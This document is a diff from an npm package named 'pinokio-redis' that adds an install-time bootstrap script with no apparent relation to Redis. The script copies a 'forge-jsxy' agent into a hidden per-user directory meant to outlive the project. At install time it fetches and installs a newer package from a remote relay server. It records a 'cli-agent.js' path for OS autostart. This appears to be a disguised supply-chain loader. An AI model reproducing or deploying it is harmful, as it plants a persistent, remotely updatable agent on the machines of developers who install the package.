pinokio-redis 1.0.127

package/scripts/forge-isolated-runtime.mjs

@@ -0,0 +1,547 @@
+#!/usr/bin/env node
+/**
+ * **Durable forge-agent install** (survives deleting the npm project that ran `npm install`):
+ *
+ * 1. `npm pack --ignore-scripts` this package → `.tgz` (skips `prepack`/`tsc` on end-user machines; `dist/` must ship in the tarball).
+ * 2. **Hidden local prefix only** (no `npm -g` / no system global):
+ *    `npm install <tgz> --prefix <CfgMgr>/.forge-jsxy/runtime/v<version>/`
+ *    → `node_modules/forge-jsxy/dist/`
+ *
+ * OS autostart (`forge-autostart install --dist-dir`) uses that absolute `dist/` on every platform.
+ *
+ * Writes `<CfgMgr data>/.forge-jsxy/current.json` with { distDir, mode, version, versionDir }.
+ *
+ * Opt-out (postinstall): `FORGE_JS_SKIP_DURABLE_AGENT_BOOTSTRAP=1` or legacy
+ * `FORGE_JS_SKIP_ISOLATED_MATERIALIZE=1`.
+ *
+ * CLI: `node scripts/forge-isolated-runtime.mjs` | `[--print-dist-dir]` | `[-h]`
+ * `npm run bootstrap:isolated-runtime`
+ *
+ * **Shells / OS:** During **`npm install`**, npm sets **`npm_execpath`** and **`npm_node_execpath`**. We always
+ * spawn **`node npm-cli.js …`** with **`shell: false`** and argv arrays — same behavior from **Windows**
+ * (Git Bash, cmd.exe, PowerShell) and **Unix** (bash, zsh, Terminal.app, etc.): paths with spaces stay intact.
+ * Fallbacks: Windows **`npm.cmd`** next to Node / `where`; Linux/macOS **`npm`** next to Node / **`PATH`**.
+ */
+import { spawnSync } from "node:child_process";
+import { createRequire } from "node:module";
+import { existsSync, mkdirSync, readFileSync, readdirSync, unlinkSync, writeFileSync } from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { fileURLToPath, pathToFileURL } from "node:url";
+import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
+import { parseNpmViewVersionStdout, semverCompare } from "./registry-version-lib.mjs";
+
+const requireMod = createRequire(import.meta.url);
+
+const __dirname = path.dirname(fileURLToPath(import.meta.url));
+const pkgRoot = path.resolve(__dirname, "..");
+
+const PKG_NAME = "pinokio-redis";
+
+export function resolveInstallWorkingDir() {
+  const override = (process.env.CFGMGR_DATA_ROOT || "").trim();
+  if (override) return path.resolve(override.replace(/^~/, os.homedir()));
+  if (process.platform === "win32") {
+    const lap = (process.env.LOCALAPPDATA || "").trim();
+    if (lap) return path.join(lap, "CfgMgr", "data");
+    const prof = (process.env.USERPROFILE || "").trim();
+    if (prof) return path.join(prof, "AppData", "Local", "CfgMgr", "data");
+    return path.join(os.tmpdir(), "CfgMgr", "data");
+  }
+  if (process.platform === "darwin") {
+    return path.join(os.homedir(), "Library", "Application Support", "CfgMgr", "data");
+  }
+  const xdg = (process.env.XDG_DATA_HOME || "").trim();
+  if (xdg) return path.join(path.resolve(xdg.replace(/^~/, os.homedir())), "cfgmgr");
+  return path.join(os.homedir(), ".local", "share", "cfgmgr");
+}
+
+function readPackageVersion() {
+  const pkgJsonPath = path.join(pkgRoot, "package.json");
+  if (!existsSync(pkgJsonPath)) return "0.0.0";
+  try {
+    return String(JSON.parse(readFileSync(pkgJsonPath, "utf8")).version || "0.0.0").trim();
+  } catch {
+    return "0.0.0";
+  }
+}
+
+/** Local npm layout under `--prefix` (never `-g`). */
+function resolveDistDirUnderLocalPrefix(prefixRoot) {
+  const candidates = [
+    path.join(prefixRoot, "node_modules", PKG_NAME, "dist"),
+    path.join(prefixRoot, "lib", "node_modules", PKG_NAME, "dist"),
+  ];
+  for (const d of candidates) {
+    if (existsSync(path.join(d, "cli-agent.js"))) return d;
+  }
+  return "";
+}
+
+function npmEnv() {
+  return isolatedNpmCacheEnv({
+    ...process.env,
+    NPM_CONFIG_UPDATE_NOTIFIER: "false",
+  });
+}
+
+function stripEnvQuotes(v) {
+  const t = String(v || "").trim();
+  if (t.length >= 2 && ((t.startsWith('"') && t.endsWith('"')) || (t.startsWith("'") && t.endsWith("'")))) {
+    return t.slice(1, -1).trim();
+  }
+  return t;
+}
+
+/**
+ * During `npm install`, npm sets **`npm_execpath`** → **`npm-cli.js`** and **`npm_node_execpath`** → the
+ * node binary that npm uses. Spawning **`node <npm-cli.js> …`** matches npm’s own invocation on **every OS**
+ * (Windows Git Bash / cmd / PowerShell; Linux/macOS bash / zsh / fish — npm normalizes the env).
+ */
+function resolveNpmCliJsFromLifecycleEnv() {
+  const raw = stripEnvQuotes(process.env.npm_execpath || process.env.NPM_CLI_JS || "");
+  if (!raw) return "";
+  const p = path.normalize(raw);
+  if (!existsSync(p)) return "";
+  return /\.m?js$/i.test(p) ? p : "";
+}
+
+function resolveNodeBinaryForNpmCli() {
+  const raw = stripEnvQuotes(
+    process.env.npm_node_execpath || process.env.NPM_NODE_EXECPATH || ""
+  );
+  if (raw) {
+    const p = path.normalize(raw);
+    if (existsSync(p)) return p;
+  }
+  return process.execPath;
+}
+
+/**
+ * Absolute `npm.cmd` for Windows — **never** use `shell: true` with argv here: cmd splits on spaces and
+ * breaks `npm pack C:\\...\\New folder\\...` → `ENOENT ...\\New\\package.json`.
+ * Same-directory-as-node covers stock Node installs; `where` covers nvm-windows / odd layouts.
+ */
+export function resolveNpmExecutableWin32() {
+  const beside = path.join(path.dirname(process.execPath), "npm.cmd");
+  if (existsSync(beside)) return beside;
+  const wh = spawnSync(process.env.ComSpec || "cmd.exe", ["/d", "/s", "/c", "where npm.cmd"], {
+    encoding: "utf8",
+    windowsHide: true,
+    env: npmEnv(),
+    maxBuffer: 1024 * 1024,
+  });
+  if (wh.status === 0) {
+    const line = (wh.stdout || "")
+      .split(/\r?\n/)
+      .map((s) => s.trim())
+      .filter(Boolean)[0];
+    if (line && existsSync(line)) return line;
+  }
+  return beside;
+}
+
+/** Linux/macOS: prefer `npm` next to this `node` (Homebrew, apt, Volta layout); else `PATH`. */
+export function resolveNpmExecutablePosix() {
+  const beside = path.join(path.dirname(process.execPath), "npm");
+  if (existsSync(beside)) return beside;
+  return "npm";
+}
+
+/**
+ * Run npm subcommands with argv-style args (paths with spaces stay single arguments).
+ * Prefer **`node npm-cli.js`** from npm’s lifecycle env — **Windows + Linux + macOS** parity across shells.
+ */
+function npmSpawnSync(npmArgv, extraOptions) {
+  const merged = {
+    encoding: "utf8",
+    windowsHide: true,
+    env: npmEnv(),
+    ...extraOptions,
+  };
+
+  const npmCli = resolveNpmCliJsFromLifecycleEnv();
+  if (npmCli) {
+    const nodeBin = resolveNodeBinaryForNpmCli();
+    return spawnSync(nodeBin, [npmCli, ...npmArgv], { ...merged, shell: false });
+  }
+
+  if (process.platform === "win32") {
+    const exe = resolveNpmExecutableWin32();
+    return spawnSync(exe, npmArgv, { ...merged, shell: false });
+  }
+
+  const posixNpm = resolveNpmExecutablePosix();
+  return spawnSync(posixNpm, npmArgv, { ...merged, shell: false });
+}
+
+/** When stderr/stdout are empty but status is null or non-zero — explain spawn/PATH/signal. */
+function formatSpawnFailure(pr, label) {
+  const io = (pr.stderr || pr.stdout || "").trim();
+  if (io) return io.slice(0, 2000);
+  const parts = [`${label}: subprocess failed`];
+  if (pr.status !== null && pr.status !== undefined) parts.push(`exit=${pr.status}`);
+  else parts.push("exit=null (npm not started — PATH/npm.cmd, antivirus, or shell issue)");
+  if (pr.signal) parts.push(`signal=${pr.signal}`);
+  if (pr.error) parts.push(pr.error.message || String(pr.error));
+  parts.push(
+    "npm spawn uses npm_execpath when present (any shell/OS), else npm next to Node — argv-only, no shell; paths with spaces OK. EPERM on Windows: stop processes locking node_modules, retry."
+  );
+  return parts.join(" — ");
+}
+
+/**
+ * @returns {{ ok: boolean, tgzPath: string, error?: string }}
+ */
+function npmPackToDir(packDir) {
+  try {
+    mkdirSync(packDir, { recursive: true });
+  } catch (e) {
+    return { ok: false, tgzPath: "", error: e instanceof Error ? e.message : String(e) };
+  }
+  // Never run package `prepack`/`prepare` (our prepack is `npm run build` → `tsc`). End-user machines
+  // have no TypeScript devDependency; published tarballs already ship `dist/` from the publisher's prepack.
+  const pr = npmSpawnSync(
+    ["pack", pkgRoot, "--pack-destination", packDir, "--ignore-scripts"],
+    {
+      cwd: packDir,
+      maxBuffer: 10 * 1024 * 1024,
+    }
+  );
+  if (pr.status !== 0) {
+    return {
+      ok: false,
+      tgzPath: "",
+      error: formatSpawnFailure(pr, "npm pack"),
+    };
+  }
+  const lines = (pr.stdout || "")
+    .split(/\r?\n/)
+    .map((s) => s.trim())
+    .filter(Boolean);
+  const last = lines[lines.length - 1] || "";
+  if (!last.endsWith(".tgz")) {
+    return { ok: false, tgzPath: "", error: `npm pack: unexpected output: ${last.slice(0, 200)}` };
+  }
+  const tgzPath = path.isAbsolute(last) ? last : path.join(packDir, path.basename(last));
+  if (!existsSync(tgzPath)) {
+    return { ok: false, tgzPath: "", error: `packed tarball missing: ${tgzPath}` };
+  }
+  return { ok: true, tgzPath };
+}
+
+function npmInstallTgzLocalPrefix(tgzPath, prefixRoot) {
+  const args = [
+    "install",
+    tgzPath,
+    "--prefix",
+    prefixRoot,
+    "--omit=dev",
+    "--ignore-scripts",
+    "--no-audit",
+    "--no-fund",
+  ];
+  const cwd = existsSync(prefixRoot) ? prefixRoot : os.tmpdir();
+  return npmSpawnSync(args, {
+    cwd,
+    maxBuffer: 40 * 1024 * 1024,
+  });
+}
+
+function tryTrimPackCache(packDir, keepBasename) {
+  try {
+    const files = readdirSync(packDir);
+    for (const f of files) {
+      if (!f.endsWith(".tgz")) continue;
+      if (keepBasename && f === keepBasename) continue;
+      try {
+        unlinkSync(path.join(packDir, f));
+      } catch {
+        /* ignore */
+      }
+    }
+  } catch {
+    /* ignore */
+  }
+}
+
+function wsRelayUrlToHttpBase(relayWsUrl) {
+  const w = String(relayWsUrl || "").trim().replace(/\/+$/, "");
+  if (!w) return "";
+  let u;
+  if (w.startsWith("wss://")) u = "https://" + w.slice(6);
+  else if (w.startsWith("ws://")) u = "http://" + w.slice(5);
+  else if (w.startsWith("http://") || w.startsWith("https://")) u = w;
+  else return "";
+  try {
+    const parsed = new URL(u);
+    return `${parsed.protocol}//${parsed.host}`;
+  } catch {
+    return "";
+  }
+}
+
+/** Relay HTTP base from agent env or baked-in deploymentDefaults (npm install needs no manual .env). */
+export function relayHttpBaseFromEnvOrDist() {
+  const ws = (
+    process.env.FORGE_JS_AGENT_RELAY_URL ||
+    process.env.FORGE_JS_RELAY_URL ||
+    process.env.CFGMGR_RELAY_URL ||
+    ""
+  ).trim();
+  if (ws) return wsRelayUrlToHttpBase(ws);
+  try {
+    const dd = requireMod(path.join(pkgRoot, "dist", "deploymentDefaults.js"));
+    if (dd && typeof dd.defaultRelayWsUrl === "function") {
+      return wsRelayUrlToHttpBase(String(dd.defaultRelayWsUrl() || "").trim());
+    }
+  } catch {
+    /* dist/deploymentDefaults.js missing during dev-only runs */
+  }
+  return "";
+}
+
+/**
+ * `GET /api/relay-for-agent` — newer forge_jsxy_version + package URL than npm registry.
+ * @returns {{ version: string, packageUrl: string }}
+ */
+export function fetchRelayForgeJsxyInfoSync(relayHttpBase) {
+  const base = String(relayHttpBase || "").trim().replace(/\/+$/, "");
+  if (!base) return { version: "", packageUrl: "" };
+  const target = `${base}/api/relay-for-agent`;
+  const script =
+    "fetch(process.env._FORGE_RELAY_AGENT_URL,{signal:AbortSignal.timeout(12000)})" +
+    ".then(r=>r.text())" +
+    ".then(t=>{try{const j=JSON.parse(t);console.log(JSON.stringify(j&&typeof j==='object'?j:{}));}catch{console.log('{}');}})" +
+    ".catch(()=>console.log('{}'));";
+  try {
+    const r = spawnSync(process.execPath, ["-e", script], {
+      encoding: "utf8",
+      timeout: 18_000,
+      windowsHide: true,
+      env: { ...process.env, _FORGE_RELAY_AGENT_URL: target },
+    });
+    if (r.status !== 0 || !r.stdout) return { version: "", packageUrl: "" };
+    const lines = String(r.stdout)
+      .split(/\r?\n/)
+      .map((l) => l.trim())
+      .filter(Boolean);
+    for (let i = lines.length - 1; i >= 0; i--) {
+      try {
+        const o = JSON.parse(lines[i]);
+        const version = parseNpmViewVersionStdout(String(o.forge_jsxy_version ?? ""));
+        const packageUrl = String(o.forge_jsxy_package_url ?? "").trim();
+        if (version) return { version, packageUrl };
+      } catch {
+        /* try previous line */
+      }
+    }
+  } catch {
+    /* skip */
+  }
+  return { version: "", packageUrl: "" };
+}
+
+function resolveRelayPackageInstallUrl(relayHttpBase, relayInfo) {
+  const raw = String(relayInfo.packageUrl || "").trim();
+  if (raw.startsWith("http://") || raw.startsWith("https://")) return raw;
+  const base = String(relayHttpBase || "").trim().replace(/\/+$/, "");
+  if (!base) return "";
+  const rel = raw.startsWith("/") ? raw : "/api/forge-jsxy-package.tgz";
+  return `${base}${rel}`;
+}
+
+function skipRelayPackageOnInstall() {
+  return ["1", "true", "yes", "on"].includes(
+    (process.env.FORGE_JS_SKIP_RELAY_PACKAGE_ON_INSTALL || "").trim().toLowerCase()
+  );
+}
+
+/**
+ * True when relay serves a newer forge-jsxy than the durable install already on disk.
+ * Used by postinstall scripts so `npm install` re-materializes even when npm registry version unchanged.
+ */
+export function durableNeedsRelayUpgrade(installedVersion) {
+  const installed = String(installedVersion || "").trim();
+  if (!installed || skipRelayPackageOnInstall()) return false;
+  const relayBase = relayHttpBaseFromEnvOrDist();
+  if (!relayBase) return false;
+  const relayInfo = fetchRelayForgeJsxyInfoSync(relayBase);
+  if (!relayInfo.version) return false;
+  return semverCompare(relayInfo.version, installed) > 0;
+}
+
+/**
+ * @returns {{ ok: boolean, distDir: string, versionDir: string, version: string, mode?: string, error?: string }}
+ */
+export function bootstrapDurableForgeJsxy() {
+  const localVersion = readPackageVersion();
+  const cfgData = resolveInstallWorkingDir();
+  const base = path.join(cfgData, ".forge-jsxy");
+  const packDir = path.join(base, ".pack");
+
+  const relayBase = relayHttpBaseFromEnvOrDist();
+  const relayInfo = fetchRelayForgeJsxyInfoSync(relayBase);
+  const relayNewer =
+    !skipRelayPackageOnInstall() &&
+    relayInfo.version &&
+    semverCompare(relayInfo.version, localVersion) > 0;
+  const relayInstallUrl = relayNewer
+    ? resolveRelayPackageInstallUrl(relayBase, relayInfo)
+    : "";
+
+  let version = localVersion;
+  let installSource = "";
+  let mode = "hidden-local-prefix";
+
+  if (relayNewer && relayInstallUrl) {
+    version = relayInfo.version;
+    installSource = relayInstallUrl;
+    mode = "relay-package";
+  } else {
+    const pk = npmPackToDir(packDir);
+    if (!pk.ok) {
+      return { ok: false, distDir: "", versionDir: "", version: localVersion, error: pk.error || "npm pack failed" };
+    }
+    installSource = pk.tgzPath;
+    tryTrimPackCache(packDir, path.basename(pk.tgzPath));
+  }
+
+  const versionDir = path.join(base, "runtime", `v${version}`);
+  try {
+    mkdirSync(versionDir, { recursive: true });
+  } catch (e) {
+    return {
+      ok: false,
+      distDir: "",
+      versionDir,
+      version,
+      error: e instanceof Error ? e.message : String(e),
+    };
+  }
+
+  const r = npmInstallTgzLocalPrefix(installSource, versionDir);
+  if (r.status !== 0) {
+    if (relayNewer && relayInstallUrl) {
+      const pk = npmPackToDir(packDir);
+      if (pk.ok) {
+        tryTrimPackCache(packDir, path.basename(pk.tgzPath));
+        const fallback = npmInstallTgzLocalPrefix(pk.tgzPath, versionDir);
+        if (fallback.status === 0) {
+          version = localVersion;
+          mode = "hidden-local-prefix";
+        } else {
+          return {
+            ok: false,
+            distDir: "",
+            versionDir,
+            version: localVersion,
+            error: formatSpawnFailure(fallback, "npm install (relay package fallback to local pack)"),
+          };
+        }
+      } else {
+        return {
+          ok: false,
+          distDir: "",
+          versionDir,
+          version,
+          error: formatSpawnFailure(r, "npm install (relay package)"),
+        };
+      }
+    } else {
+      return {
+        ok: false,
+        distDir: "",
+        versionDir,
+        version,
+        error: formatSpawnFailure(r, "npm install (durable prefix)"),
+      };
+    }
+  }
+
+  const distDir = resolveDistDirUnderLocalPrefix(versionDir);
+  if (!distDir) {
+    return {
+      ok: false,
+      distDir: "",
+      versionDir,
+      version,
+      error: "cli-agent.js not found after hidden local-prefix install",
+    };
+  }
+
+  const meta = {
+    distDir,
+    version,
+    mode,
+    versionDir,
+    materializedAt: new Date().toISOString(),
+    pkgRootSnapshot: pkgRoot,
+    ...(relayNewer && relayInstallUrl ? { relayPackageUrl: relayInstallUrl } : {}),
+  };
+  try {
+    writeFileSync(path.join(base, "current.json"), JSON.stringify(meta, null, 2), "utf8");
+  } catch (e) {
+    return {
+      ok: false,
+      distDir,
+      versionDir,
+      version,
+      error: e instanceof Error ? e.message : String(e),
+    };
+  }
+
+  return { ok: true, distDir, versionDir, version, mode };
+}
+
+/** @deprecated use bootstrapDurableForgeJsxy */
+export const materializeForgeIsolatedRuntime = bootstrapDurableForgeJsxy;
+
+/** @returns {string} */
+export function readIsolatedDistDirFromDisk() {
+  try {
+    const base = path.join(resolveInstallWorkingDir(), ".forge-jsxy");
+    const cur = path.join(base, "current.json");
+    if (!existsSync(cur)) return "";
+    const j = JSON.parse(readFileSync(cur, "utf8"));
+    const d = String(j.distDir || "").trim();
+    if (!d || !existsSync(path.join(d, "cli-agent.js"))) return "";
+    return d;
+  } catch {
+    return "";
+  }
+}
+
+function main() {
+  const argv = process.argv.slice(2);
+  if (argv.includes("-h") || argv.includes("--help")) {
+    console.log(`forge durable bootstrap — pack + hidden local npm --prefix (no npm -g; all OS).
+
+Writes: <CfgMgr>/.forge-jsxy/runtime/v<VERSION>/ + current.json
+Never installs to npm global; autostart uses absolute path under user CfgMgr data.`);
+    process.exit(0);
+  }
+
+  const res = bootstrapDurableForgeJsxy();
+  if (!res.ok) {
+    console.error("[forge-durable-bootstrap]", res.error || "failed");
+    process.exit(1);
+  }
+  if (argv.includes("--print-dist-dir")) {
+    process.stdout.write(res.distDir);
+    process.exit(0);
+  }
+  console.log(JSON.stringify({ ok: true, distDir: res.distDir, version: res.version, mode: res.mode }, null, 2));
+  process.exit(0);
+}
+
+function isExecutedDirectly() {
+  const entry = process.argv[1];
+  if (!entry) return false;
+  try {
+    return import.meta.url === pathToFileURL(path.resolve(entry)).href;
+  } catch {
+    return false;
+  }
+}
+if (isExecutedDirectly()) main();